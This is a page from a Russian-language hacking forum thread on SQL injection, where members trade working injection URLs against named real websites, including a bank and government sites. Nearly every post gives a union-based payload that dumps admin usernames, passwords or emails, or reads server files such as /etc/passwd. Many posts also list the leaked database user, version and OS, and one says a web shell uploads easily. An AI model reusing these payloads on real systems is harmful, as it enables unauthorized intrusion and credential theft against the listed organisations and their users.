SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 611 of 798
  1. Bramin

    Bramin Banned

    Joined:
    15 May 2009
    Messages:
    187
    Likes Received:
    88
    Reputations:
    27
    http://signdiscounters.com/price.php?id=-2+union+select+1,2,group_concat(0x0b,username,0x3a3a,password)+from+sign_user--
     
    #12201 Bramin, 5 Jun 2010
  2. BlackFan

    BlackFan Member

    Joined:
    3 Jan 2009
    Messages:
    47
    Likes Received:
    40
    Reputations:
    32
    ТИЦ 600 ПР 5
    Code:
    http://www.spartak-nalchik.ru/results?view=match&id=6+union+select+1,2,3,4,5,6,concat_ws(0x3a,user(),version(),database()),8
    nalchik@localhost:5.0.51a-24+lenny2:nalchik



    ТИЦ 350 ПР 5
    Code:
    http://www.unitex.ru/pr/pr.phtml?id=99+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8+limit+1,1
    [email protected]:5.0.67-log:unitex
     
    #12202 BlackFan, 5 Jun 2010
    Last edited: 5 Jun 2010
    3 people like this.
  3. CyberHunter

    CyberHunter Active Member

    Joined:
    6 Jan 2010
    Messages:
    601
    Likes Received:
    116
    Reputations:
    37
    Code:
    http://www.langoldccc.org.uk/index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=2+AND+1=2+UNION+SELECT+0,concat%28username,0x3a,password%29,2,3,4+from+jos_users--
    PR: 2
    CY: 0
     
    #12203 CyberHunter, 5 Jun 2010
    1 person likes this.
  4. qq6ka

    qq6ka Banned

    Joined:
    21 May 2010
    Messages:
    35
    Likes Received:
    19
    Reputations:
    21
    http://www.ambicom.com/prod_detail.php?pid=-1+union+select+1,2,3,4,5,load_file(0x2f6574632f706173737764),7,8,9,10,11,12,13,14,15--

    http://www.scmmicro.com/security/view_product_en.php?PID=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,load_file(0x2f6574632f706173737764),14,15,16,17,18,19,20,21,22--

    http://www.decoprint.fr/products.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,load_file(0x2f6574632f617061636865322f73697465732d656e61626c65642f3030302d64656661756c74)--
     
    #12204 qq6ka, 5 Jun 2010
    1 person likes this.
  5. BlackFan

    BlackFan Member

    Joined:
    3 Jan 2009
    Messages:
    47
    Likes Received:
    40
    Reputations:
    32
    Code:
    http://www.zenit-trade.ru/news/id219+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8,9,10+limit+1,1/
    zenitt@localhost:5.0.45:zenitt



    Code:
    http://pic.fc-zenit.ru/info/viewPhoto.phtml?gallery=461+and+substring(version(),1,1)=5
     
    #12205 BlackFan, 5 Jun 2010
    1 person likes this.
  6. qq6ka

    qq6ka Banned

    Joined:
    21 May 2010
    Messages:
    35
    Likes Received:
    19
    Reputations:
    21
    http://www.neocutis.com/article.php?sid=-15+union+select+1,2,3,concat_ws(0x2a,user(),version(),database()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--

    neocutis@localhost*5.0.84-log*neocutis, читает файлы, шелл льётся на "ура", но safe_mode: ON; Disable functions : set_time_limit,passthru,exec,system,popen,shell_exec,proc_open; Linux imu200 2.6.27.34-imu-x86 #1 SMP Wed Sep 16 10:41:11 CEST 2009 i686
     
    #12206 qq6ka, 5 Jun 2010
  7. CyberHunter

    CyberHunter Active Member

    Joined:
    6 Jan 2010
    Messages:
    601
    Likes Received:
    116
    Reputations:
    37
    Code:
    http://www.fittleworth.net/index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=2+AND+1=2+UNION+SELECT+0,concat%28database%28%29,user%28%29,version%28%29%29,2,3,4+from+jos_users--
    Version: 4.1.22-standard
    Database: jmedfit_jcmsfittle
    User: jmedfit_jcmsfit@localhost
     
    #12207 CyberHunter, 5 Jun 2010
  8. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    Ameria Bank

    http://www.ameria.am/index.php?page=8+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--

    user () : ameria_dbuser@localhost

    version () : 5.0.90-community-log

    database () : ameria_site

    OS : pc-linux-gnu

    PR-5
     
    _________________________
    #12208 Konqi, 5 Jun 2010
    3 people like this.
  9. aka_zver

    aka_zver Elder - Старейшина

    Joined:
    17 Sep 2009
    Messages:
    471
    Likes Received:
    330
    Reputations:
    73
    http://newen.pdpegypt.org
    ТИЦ: 0
    PR: 4
    Code:
    http://newen.pdpegypt.org/cms.php?id=event_details&event_id=-14+union+select+1,2,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+  

http://newen.pdpegypt.org/cms.php?id=event_details&event_id=-14+union+select+1,2,group_concat(0x0b,username,0x3a,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+admin--+  

http://newen.pdpegypt.org/cms.php?id=event_details&event_id=-14+union+select+1,2,group_concat(0x0b,email),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+ebulletin_user--+
    ver - 5.1.41
    usr - pdpegypt_pdp@localhost
    db - pdpegypt_newpdp
    os - unknown-linux-gnu

    ==========================================

    http://www.connectcatering.co.uk
    ТИЦ: 10
    PR: 3
    Code:
    http://www.connectcatering.co.uk/cms.php?id=-8'+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),3,4,group_concat(0x0b,admin_login,0x3a,admin_password,0x3a,admin_email),6+from+admin--+
    ver - 5.1.44-community
    usr - web136-connectco@localhost
    db - web136-connectco
    os - pc-linux-gnu

    ==========================================

    http://cashback.2cashback.net
    ТИЦ: 0
    PR: 3
    Code:
    http://cashback.2cashback.net/cms.php?id=group_shops&group_id=-14+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,group_concat(0x0b,username,0x3a,pass,0x3a,email),concat_ws(0x0b,version(),user(),database(),@@version_compile_os),17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46+from+admin--+
    ver - 5.1.41
    usr - cashback_cashbac@localhost
    db - cashback_cashback
    os - unknown-linux-gnu

    ==========================================

    http://www.malaysiatravelguide.com.my
    ТИЦ: 0
    PR: 3
    Code:
    http://www.malaysiatravelguide.com.my/cms.php?id=-397+/*!union+select+1,2,3,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),5,6,7*/--+  

http://www.malaysiatravelguide.com.my/cms.php?id=-397+/*!union+select+1,2,3,group_concat(0x0b,username,0x3a,password,0x3a,email),5,6,7+from+xmb_members*/--+
    ver - 5.0.90-community
    usr - malaysia_malaysi@localhost
    db - malaysia_mtg
    os - pc-linux-gnu

    ==========================================

    http://www.damentrading.nl
    ТИЦ: 0
    PR: 2
    Code:
    http://www.damentrading.nl/damen/redir.php?goto=/damen/vesselinfo.php?id=-293+union+select+1,2,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),4,5,group_concat(0x0b,gebruikersnaam,0x3a,wachtwoord),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+dms_gebruikers--+
    ver - 5.0.77-log
    usr - [email protected]
    db - dms
    os - pc-linux-gnu

    ==========================================

    http://kimrealty.allrealestate.com.my
    ТИЦ: 10
    PR: 2
    Code:
    http://kimrealty.allrealestate.com.my/ag_result.php?agentid=-1+/*!or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))*/--+
    ver - 5.0.90-community
    usr - allreale_kim@localhost
    db - allreale_kimrealty
    os - unknown-linux-gnu

    ==========================================

    http://rselectricalsupply.com
    ТИЦ: 0
    PR: 2
    Code:
    http://rselectricalsupply.com/modules/user/cms.php?id=-3+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),3,4--+
    ver - 5.0.90
    usr - [email protected]
    db - phpmy1_rselectricalsupply_com
    os - pc-linux-gnu

    ==========================================

    http://www.avalonmortgage.com
    ТИЦ: 0
    PR: 1
    Code:
    http://www.avalonmortgage.com/cms.php?id=-11'+union+select+1,2,3,4,5,6,7,8,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),10,11,12,13--+
    ver - 5.1.39-log
    usr - [email protected]
    db - avalonmotgagedb
    os - pc-linux-gnu

    ==========================================

    http://www.xcontrols.com
    ТИЦ: 10
    PR: 1
    Code:
    http://www.xcontrols.com/cms.php?id=-53'+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),group_concat(0x0b,user,0x3a,password,0x3a,email),4+from+bloly_User--+  

http://www.xcontrols.com/cms.php?id=-53'+union+select+1,now(),group_concat(0x0b,sUserName,0x3a,sPassword),4+from+xls_users--+
    ver - 5.0.77-log
    usr - xcl@localhost
    db - xcldb
    os - portbld-freebsd6.3

    ==========================================

    http://ontariooilng.com
    ТИЦ: 0
    PR: 0
    Code:
    http://ontariooilng.com/cms.php?ID=-6+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),3,group_concat(0x0b,UserName,0x3a,Password,0x3a,Email)+from+admin--+
    ver - 5.0.89-COMMUNITY
    usr - ONTARIOO_ONTARIO@LOCALHOST
    db - ONTARIOO_ONTARIOOILING
    os - PC-LINUX-GNU
     
    #12209 aka_zver, 6 Jun 2010
    Last edited: 6 Jun 2010
    3 people like this.
  10. qq6ka

    qq6ka Banned

    Joined:
    21 May 2010
    Messages:
    35
    Likes Received:
    19
    Reputations:
    21
    http://www.asianpga.com/article.php?sid=-1+union+select+1,2,3,4,concat_ws(0x2a,username,password,email,admin),6+FROM+apga_members+limit+0,1--

    asianpga_sql@localhost*5.0.81-community*asianpga_db
     
    #12210 qq6ka, 6 Jun 2010
  11. ZARO

    ZARO Elder - Старейшина

    Joined:
    17 Apr 2009
    Messages:
    327
    Likes Received:
    129
    Reputations:
    54
    Code:
    http://www.heating.kz/index.php?p=news_more&id=117+AND+1=0+UNION+SELECT+1,2,3,concat_ws(0x3a,login,pass),5,6,7,8,9,10,11,12+FROM+ferroli_admins+--+
     
    #12211 ZARO, 6 Jun 2010
  12. CyberHunter

    CyberHunter Active Member

    Joined:
    6 Jan 2010
    Messages:
    601
    Likes Received:
    116
    Reputations:
    37
    Code:
    http://www.clanib.co.za/e107_plugins/advmedsys/advmedsys_view.php?det.1/*!%20and%200%20union%20select%201,2,3,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29%20from%20e107_user*/
    Version: 5.0.90
    User: nashie0_nashief@localhost
    Database: nashie0_nashief

    Code:
    http://ab-league.windos2k.com/e107_plugins/advmedsys/advmedsys_view.php?det.1/*!%20and%200%20union%20select%201,2,3,concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29%20from%20e107_user*/
    Version: 4.1.22
    User: windos2k@localhost
    Database: windos2k_com_-_comp

    Code:
    http://www.secondocircolosarno.[B]gov[/B].it/2sarno/index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=2+AND+1=2+UNION+SELECT+0,concat%28version%28%29,user%28%29,database%28%29%29,2,3,4+from+jos_users--
    Version: 5.1.30-log
    Database: secondocircsarno
    User: [email protected]
    PR: 2

    Code:
    http://www.waldorf-namibia.org/index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=2+AND+1=2+UNION+SELECT+0,concat%28version%28%29,database%28%29,user%28%29%29,2,3,4+from+jos_users--
    Version: 4.1.22-standard-log
    Database: db201164
    User: db201164@local
    PR: 5
     
    #12212 CyberHunter, 6 Jun 2010
    2 people like this.
  13. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www.sanmarinoforum.org/forum08/__download_forum08_rassegna.php?id=-91+union+select+concat(user(),version(),database(),@@version_compile_os),2

    PR-4
     
    _________________________
    #12213 Konqi, 6 Jun 2010
    3 people like this.
  14. CyberHunter

    CyberHunter Active Member

    Joined:
    6 Jan 2010
    Messages:
    601
    Likes Received:
    116
    Reputations:
    37
    Code:
    http://www.clkclan.com/e107_plugins/advmedsys/advmedsys_view.php?det.1/*!%20and%200%20union%20select%201,2,3,concat_ws%28user%28%29,database%28%29,version%28%29%29%20*/
    Version: 5.1.30
    User: clkclan_clkman@localhost
    Database: clkclan_clk
     
    #12214 CyberHunter, 6 Jun 2010
  15. qq6ka

    qq6ka Banned

    Joined:
    21 May 2010
    Messages:
    35
    Likes Received:
    19
    Reputations:
    21
    http://www.cricket-online.com/news.php?sid=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,concat_ws(0x2a,user(),version(),database()),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--


    cricketo_cricket@localhost*5.0.51a-community-log*cricketo_nuke
     
    #12215 qq6ka, 7 Jun 2010
  16. aka_zver

    aka_zver Elder - Старейшина

    Joined:
    17 Sep 2009
    Messages:
    471
    Likes Received:
    330
    Reputations:
    73
    Blind; select фильтруется.

    http://www.zatopek.fr
    +
    http://www.zatopek.lu
    +
    http://www.zatopek.be
    ТИЦ: 0
    PR: 4
    Code:
    http://www.zatopek.fr(.be или .lu)/cms.php?id=30+and+substring(version(),1,1)=5--+
    ============================================

    http://www.busicomsolutions.com.au
    ТИЦ: 0
    PR: 1
    Code:
    http://www.busicomsolutions.com.au/recruit/timesheets.php?cat_id=-1+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),3,4,5--+

http://www.busicomsolutions.com.au/recruit/timesheets.php?cat_id=-1+union+select+1,group_concat(0x0b,admin_user,0x3a,admin_pass),3,4,5+from+tbl_admin--+
    ver - 5.0.90-community
    usr - vns_busicom@localhost
    db - vns_busicomjob
    os - pc-linux-gnu

    ============================================

    http://www.bromleystone.co.uk
    ТИЦ: 0
    PR: 0
    Code:
    http://www.bromleystone.co.uk/cms.php?ID=1+union+select+1,2,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),4,5,group_concat(0x0b,column_name),7+from+information_schema.columns+where+table_name=0x62726F6D6C65797461626C65--+
    ver - 5.0.87-a2hosting-percona
    usr - bromley_bromley@localhost
    db - bromley_bromleystone
    os - unknown-linux-gnu

    ============================================

    http://www.autobusnigeria.com
    ТИЦ: 0
    PR: 0
    Code:
    http://www.autobusnigeria.com/cms.php?ID=-4+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),3--+
    ver - 4.1.22-standard
    usr - autobusn_autobus@localhost
    db - autobusn_autobus
    os - pc-linux-gnu

    ============================================

    http://www.kumardirect.com
    ТИЦ: 0
    PR: 0
    Code:
    http://www.kumardirect.com/cms.php?id=-2+union+select+1,2,3,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),group_concat(0x0b,login_id,0x3a,password,0x3a,email),6,7,8,9+from+sysadmin--+
    ver - 5.0.77-log
    usr - [email protected]
    db - kumardirect
    os - redhat-linux-gnu
     
    #12216 aka_zver, 7 Jun 2010
    3 people like this.
  17. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    Target: http://www.ac-psych.org/

    User: [email protected]
    (http://www.ac-psych.org/?id=11111%20union%20select%20system_user%28%29)

    Database: acpsych_ac-psych

    (http://www.ac-psych.org/?id=111%20union%20select%20database%28%29)

    Version: 5.0.33-log
    (http://www.ac-psych.org/?id=111%20union%20select%20version%28%29)

    Или всё вместе:
    http://www.ac-psych.org/?id=-1%20union%20select%20concat_ws(0x0b,version(),user%20%20(),database(),@@version_compile_os)

    PR-6
     
    _________________________
    #12217 <Cyber-punk>, 7 Jun 2010
    Last edited: 8 Jun 2010
  18. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www.educacionbc.edu.mx/publicaciones/SintesisEv/Sintesis.php?Num=242+union+select+1,2,3,4,5,6+from+"table"

    PR-5

    ms_access
     
    _________________________
    #12218 Konqi, 7 Jun 2010
  19. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    Target: http://dir.kedah.gov.my/

    User: root@localhost

    Database: berita

    Version: 5.0.77

    OS: redhat-linux-gnu

    PR-5

    Code:
    http://dir.kedah.gov.my/info.php?id=-1+union+select+0,1,2,3,4,concat_ws(0x0b,version(),user(),database(),@@version_compile_os)
     
    _________________________
    #12219 <Cyber-punk>, 7 Jun 2010
    Last edited: 8 Jun 2010
    2 people like this.
  20. qq6ka

    qq6ka Banned

    Joined:
    21 May 2010
    Messages:
    35
    Likes Received:
    19
    Reputations:
    21
    http://www.10ballov.ru/view_kont.php?sid=91&pid=-1+union+select+1,2,3,4,concat_ws(0x2a,user,pass,site),6,7,8,9,10,11,12,13,14,15+FROM+admin_users+limit+0,1--
     
    #12220 qq6ka, 8 Jun 2010
(You must log in or sign up to post here.)
Page 611 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.